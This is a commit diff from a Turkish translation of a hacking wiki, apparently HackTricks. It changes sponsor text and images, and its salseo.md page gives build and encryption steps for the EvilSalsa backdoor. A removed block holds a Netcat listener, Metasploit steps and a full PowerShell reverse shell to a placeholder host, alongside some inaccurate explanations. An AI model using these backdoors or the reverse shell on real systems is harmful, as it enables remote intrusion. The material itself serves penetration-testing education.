Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

This commit is contained in:
Translator 2024-03-17 16:37:08 +00:00
parent 4db18e33b9
commit 27f2f520f2
158 changed files with 5433 additions and 7626 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 237 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 237 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 111 KiB

After

Width:  |  Height:  |  Size: 246 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 246 KiB

After

Width:  |  Height:  |  Size: 201 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 KiB

After

Width:  |  Height:  |  Size: 407 KiB

View file

@ -5,10 +5,10 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %} {% hint style="success" %}
**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknikleri/bilgiyi bulacaksınız.** **Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hack tekniğini bulacaksınız.**
{% endhint %} {% endhint %}
Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin: Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde **izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@ -20,30 +20,31 @@ Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz g
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hackleme araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi çeşitli değerli siber güvenlik hizmetleri sunarlar. [**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hacking araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi birçok değerli siber güvenlik hizmeti sunarlar.
Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz. Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz.
**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de desteklemektedir :) **STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de destekler :)
*** ***
### [RootedCON](https://www.rootedcon.com/) ### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir araya gelen bir buluşma noktasıdır. [**RootedCON**](https://www.rootedcon.com), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonellerinin her disiplinde bir araya geldiği kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
*** ***
### [Intigriti](https://www.intigriti.com) ### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti**, **Avrupa'nın #1** etik hackleme ve **bug bounty platformudur.** **Intigriti**, Avrupa'nın #1 etik hacking ve **bug bounty platformudur**.
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödül kazanmaya başlayın**! **Bug bounty ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -51,10 +52,10 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın. Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.
Bugün Erişim Alın: Bugün Erişim Alın:
@ -64,36 +65,36 @@ Bugün Erişim Alın:
### [HACKENPROOF](https://bit.ly/3xrrDrL) ### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking Insights**\ **Hacking Insights**\
Hackingin heyecanını ve zorluklarını ele alan içeriklerle etkileşime girin Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\ **Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
**En Son Duyurular**\ **En Son Duyurular**\
Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi edinin
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın! Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
*** ***
### [Pentest-Tools.com](https://pentest-tools.com/) - Temel penetrasyon testi araç seti ### [Pentest-Tools.com](https://pentest-tools.com/) - Temel penetrasyon testi araç seti
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. **Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar ma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
*** ***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity) \### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -103,13 +104,13 @@ Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkınd
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya genelinde** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur. **WebSec**, **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern bir** yaklaşımla işletmeleri **dünya genelinde** en son siber güvenlik tehditlerine karşı korur.
WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada olan bir güvenlik şirketidir**. WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada güvenlik şirketi**dir.
WebSec hakkında başka harika bir şey, WebSec'in becerilerine oldukça güvendiği, becerilerinin en iyi kalitede sonuçları garanti ettiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! WebSec hakkında başka harika bir şey de, endüstri ortalamasının aksine WebSec'in **becerilerine çok güvendiği**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçları garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı bir destekçisidir. Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destekçisidir**.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
@ -123,14 +124,14 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı bir deste
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme hakkında bilgi edinin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme konusunda</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** adresinden takip edin**.
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details> </details>

View file

@ -353,6 +353,7 @@
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md) * [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md) * [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md) * [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md) * [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md) * [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md) * [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)

View file

@ -2,37 +2,37 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## Derlemeleri Hazırlama ## Derlemeleri Derleme
Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio** yüklü olması gerekmektedir. Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir.
Bu projeleri, kullanacak olduğunuz Windows makinenin mimarisi için derleyin (Windows x64 destekliyorsa, onun için derleyin). Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin).
Visual Studio içinde **sol "Build" sekmesindeki "Platform Target"** seçeneğini kullanarak **mimariyi seçebilirsiniz**. Mimariyi Visual Studio içinde **sol "Build" sekmesindeki "Platform Target" bölümünden seçebilirsiniz.**
(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\<Project Name> Properties"** seçeneğine tıklayın) (\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\<Project Name> Properties"**'e tıklayın)
![](<../.gitbook/assets/image (132).png>) ![](<../.gitbook/assets/image (132).png>)
Ardından, her iki projeyi de derleyin (Build -> Build Solution) (Loglarda yürütülebilir dosyanın yolunu göreceksiniz): Ardından, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Arka Kapıyı Hazırlama ## Arka Kapıyı Hazırlama
Öncelikle, **EvilSalsa.dll**'yi kodlamalısınız. Bunun için, python betiği **encrypterassembly.py**'yi kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: İlk olarak, **EvilSalsa.dll**'yi kodlamalısınız. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
### **Python** ### **Python**
``` ```
@ -41,99 +41,32 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
``` ```
### Windows ### Windows
Windows işletim sistemi, birçok farklı backdoor yöntemiyle hedef alınabilir. Bu bölümde, Windows sistemlerine sızma ve backdoor oluşturma tekniklerini ele alacağız. ### Windows
#### 1. Netcat
Netcat, birçok işletim sistemi üzerinde çalışabilen bir ağ aracıdır. Bir backdoor oluşturmak için kullanılabilir. Netcat'i hedef Windows makinesine yüklemek için aşağıdaki adımları izleyin:
1. Netcat'i indirin ve hedef Windows makinesine kopyalayın.
2. Komut istemini açın ve Netcat'in bulunduğu dizine gidin.
3. Aşağıdaki komutu kullanarak Netcat'i hedef Windows makinesine yükleyin:
```
nc.exe -lvp <port>
```
`<port>` yerine kullanmak istediğiniz bir port numarası belirleyin.
4. Netcat, hedef Windows makinesinde bir dinleme noktası oluşturacak ve gelen bağlantıları kabul edecektir.
#### 2. Metasploit Framework
Metasploit Framework, güvenlik testleri ve sızma testleri için kullanılan popüler bir araçtır. Metasploit Framework kullanarak Windows sistemlere sızma ve backdoor oluşturma işlemlerini gerçekleştirebilirsiniz. Aşağıdaki adımları izleyerek Metasploit Framework'ü kullanabilirsiniz:
1. Metasploit Framework'ü indirin ve kurun.
2. Metasploit Framework'ün konsol arayüzünü açın.
3. Hedef Windows makinesinin IP adresini ve port numarasını belirleyin.
4. Aşağıdaki komutu kullanarak hedef Windows makinesine bağlanın:
```
use exploit/windows/<exploit_name>
set RHOSTS <target_ip>
set RPORT <target_port>
exploit
```
`<exploit_name>` yerine kullanmak istediğiniz bir exploit adı belirleyin. `<target_ip>` ve `<target_port>` ise hedef Windows makinesinin IP adresi ve port numarasıdır.
5. Metasploit Framework, hedef Windows makinesine bağlanacak ve backdoor oluşturacaktır.
#### 3. PowerShell
PowerShell, Windows işletim sisteminde yerleşik olarak bulunan bir komut satırı aracıdır. PowerShell'i kullanarak Windows sistemlere sızma ve backdoor oluşturma işlemlerini gerçekleştirebilirsiniz. Aşağıdaki adımları izleyerek PowerShell'i kullanabilirsiniz:
1. Komut istemini açın ve aşağıdaki komutu kullanarak PowerShell'i başlatın:
```
powershell
```
2. PowerShell'de aşağıdaki komutu kullanarak hedef Windows makinesine bağlanın:
```
$client = New-Object System.Net.Sockets.TCPClient("<target_ip>", <target_port>)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
```
`<target_ip>` ve `<target_port>` yerine hedef Windows makinesinin IP adresi ve port numarasını belirleyin.
3. PowerShell, hedef Windows makinesine bağlanacak ve backdoor oluşturacaktır.
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
